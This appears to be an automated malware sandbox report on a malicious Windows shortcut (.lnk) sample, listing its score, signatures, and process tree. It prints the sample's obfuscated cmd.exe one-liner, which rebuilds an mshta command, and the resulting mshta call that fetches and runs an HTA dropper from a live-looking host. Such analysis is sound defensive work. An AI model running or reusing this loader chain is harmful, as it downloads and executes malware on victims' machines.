Analysis

  • max time kernel
    150s
  • max time network
    116s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    04/08/2026, 08:32

General

  • Target
    DOC-5SU6R5.lnk
  • Size 2KB
  • Sample260804-kfglnagb65
  • SHA256 08f81c433ecf14616e5bea012d623361d592968144304a6d0f609b93ed38411d
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-5SU6R5.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:4836
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /D /v:on /C "set AesCs=qmsao1&&set NyiD=z3htzm&&set avj=kuau&&set xcfY=oldlbntegold&&set pjUaR=cacheaoullhvcache&&set YKM=lr0s9nc&&set qe=0atjw&&set TkKb=vart7dr&&set NoyaE=infbarswufinf&&set jY=cachedmenxjewyzcache&&set bS=dbgjnoholgocwmctmmtdbg&&set iKVdB=winmkjmmqwin&&set nN=htt@p@s:@//ma@-@pdffi@l@l@er.@lat@/@h@/est@agio@[email protected]@hp@?@r=@39146@9FB5D82@DB&&start /b !AesCs:~1,2!!NyiD:~2,2!!avj:~2,1! !nN:@=!"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3208
      • C:\Windows\System32\mshta.exe
        mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
        3⤵
          PID:3532
    • C:\Windows\system32\svchost.exe
      C:\Windows\system32\svchost.exe -k GPSvcGroup
      1⤵
        PID:2116

      Network

            MITRE ATT&CK Enterprise v16

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            Downloads